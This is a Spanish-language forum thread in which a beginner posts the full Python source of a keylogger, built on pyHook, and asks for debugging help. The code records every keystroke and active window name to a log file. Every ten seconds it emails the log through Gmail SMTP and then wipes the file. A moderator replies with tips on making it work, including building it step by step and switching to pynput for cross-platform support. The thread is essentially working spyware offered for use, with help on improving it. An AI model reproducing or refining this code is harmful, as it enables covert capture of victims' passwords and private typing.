Keylogger

Iniciado por Shylvor, Mayo 25, 2021, 05:47:25 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Mayo 25, 2021, 05:47:25 PM Ultima modificación: Mayo 25, 2021, 05:54:44 PM por DtxdF
Buenas!!
Soy nuevo por aquí, estoy empezando en esto, y estoy intentando hacer un keylogger con python, que me envíe los datos por correo. Parece que el código no está mal tras pasarlo por debug, pero el exe me da un error al ejectutarlo y por tanto no funciona el script. Al ejecutar el script en python tampoco me da la respuesta que busco, simplemente me pide una tecla para continuar y se para el script. Dejo aquí el código por si alguien puede ayudar.
Gracias!

Código: python
import pyHook, pythoncom, sys, logging                              #logging > libreria para registrar el historial de eventos logging > registra las acciones durante la ejecucción del programa
import time, datetime                                               #librerias necesarias para las fechas y horas

carpeta_destino= "C:\\Users\\i7-w81\\Desktop\\Keylogger\\Logs.txt"  #introducimos la ruta del archivo que almacenara lo que se escriba (utilizar las barras dobles "\\", si no no lo reconocerá)
segundos_Espera= 10                                                 #tiempo de espera para mandar el correo
timeout = time.time() + segundos_Espera                             #calcúlamos un nuevo timeout con el tiempo de espera configurado

def TimeOut():                                                      #método timeout para saber si ya ha pasado el tiempo de espera y toca mandar un correo
    if time.time() > timeout:                                       #comparamos el tiempo actual con el tiempo
        return True                                                 #si el timeout es menor devolvemos true (mandamos correo)
    else:
        return False                                                #si el timeout es mayor devolvemos false (no mandamos correo)

def crearEmail(user, passw, recep, subj, body):                     #cremamos el email pasándole los parámetros necesarios
    import smtplib                                                  #importamos la librería del protocolo de correo
    mailUser=user                                                   #correo para iniciar sesión
    mailPass=passw                                                  #contraseña del usuario
    From=user                                                       #emisor del correo
    To= recep if type(recep) is list else [recep]                   #ajustamos por si queremos más de 1 destinatario
    Subject=subj                                                    #asunto
    Txt=body                                                        #cuerpo del correo

    email =  """\From: %s\nTo: %s\nSubject: %s\n\n%s """ % (From, ", ".join(To), Subject, Txt)      #formato del email
    try:
        server= smtplib.SMTP("smtp.gmail.com", 587)                 #configuramos el servidor de correo para smtp junto al puerto - en este caso usamos GMAIL
        server.ehlo()                                               #protocolo del smtp
        server.starttls()                                           #iniciamos el protocolo TLS (Transport Layer Security para tener unaconexión segura)
        server.login(mailUser, mailPass)                            #hacemos login
        server.sendmail(From, To, email)                            #envíamos el email
        server.close()                                              #cerramos la conexión con el servidor
        print ('Correo enviado!!')                                  #éxito al enviar el correo
    except:
        print ('Fallo al enviar el correo')                         #fracaso al enviar el correo

def EnviarEmail():
    with open (carpeta_destino, 'r+') as f:                         #abrimos el fichero y con la cláusula "r+", al acabar se cerrará el fichero automáticamente.
        fecha=datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        data=f.read()                                               #leemos el fichero
        data= data.replace('Space', ' ')                            #reemplazamos en el fichero las palabras Space por espacios "de verdad" ósea: "   "
        data = data.replace('\n', '')                               #reemplazamos los "intros" para que nos quede todo el texto en la misma línea
        data = 'Log capturado a las: ' + fecha + '\n' + data        #texto que se incluirá en el cuerpo del mensaje
        print(data)                                                 #mostramos lo que se mandará por el mensaje
        crearEmail('[CENSURADO]', 'asdkgquw', '[CENSURADO]',  #llamamos al método crear email
                  'Nuevo Log -' +fecha, data)

        f.seek(0)                                                   #poner el puntero al principio
        f.truncate()                                                #limpiamos el archivo
       


def OnKeyboardEvent(event):                                                                     #este método se activa al pulsar una tecla del teclado
   
    print ('WindowName:',event.WindowName)                                                      #muestra por pantalla las ventana de windows dónde tecleamos                       
    print ('Key:', event.Key)                                                                   #muestra por pantalla las teclas que se pulsan
    logging.basicConfig(filename=carpeta_destino, level=logging.DEBUG, format='%(message)s')    #configuramos la carpeta destino y formato del mensaje
    logging.log(10,  event.Key)                                                                 #escribimos en el fichero las teclas capturadas, el parámetro 10 significa que estamos a nivel debug
    return True


hooks_manager = pyHook.HookManager()                                    #creamos el gestor de eventos del teclado
hooks_manager.KeyDown = OnKeyboardEvent                                 #llamamos o activamos la función onKeyBoardEvent que monitoriza cuando se pulsan las teclas (KeyDown)
hooks_manager.HookKeyboard()                                            #comienza a "vigilar" las teclas que se pulsan

while True:                                                             #bucle para mandar el correo, se ejecuta siempre
    if TimeOut():                                                       #llamamos al método TimeOut para ver si toca mandar correo, tiene que devolver un true
        EnviarEmail()                                                   #si devuelve un true, se llama al método de enviar email
        timeout = time.time() + segundos_Espera                         #calcúlamos un nuevo timeout con el tiempo de espera configurado

    pythoncom.PumpWaitingMessages()                                     #ejecuta los registros que están en espera

       

Hola @Shylvor

A primera vista no es seguro si se terminará enviando un mensaje por correo desde Gmail, ya que ellos tienen ciertas medidas de seguridad para proteger a los usuarios contra esta clase de scripts. De hecho, hay que otorgar permiso a aplicaciones menos seguras, llamándose así oficialmente.

Te recomiendo que mejor te centres en pequeños programas: puedes primero crear funciones básicas que te permitan ir obteniendo las teclas que el usuario presiona, luego, y ya sabiendo cómo obtener esas teclas, puedes ir aumentando las funcionalidades, como enviar el log por correo u otro servicio.

Te recomiendo que uses mejor pynput, ya que funciona multiplataforma (aunque se tienen que hacer ciertas cosas):

*.- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
*.- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
*.- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

~ DtxdF
PGP :: <D82F366940155CB043147178C4E075FC4403BDDC>

~ DtxdF

Muchas gracias, me pongo a investigar =D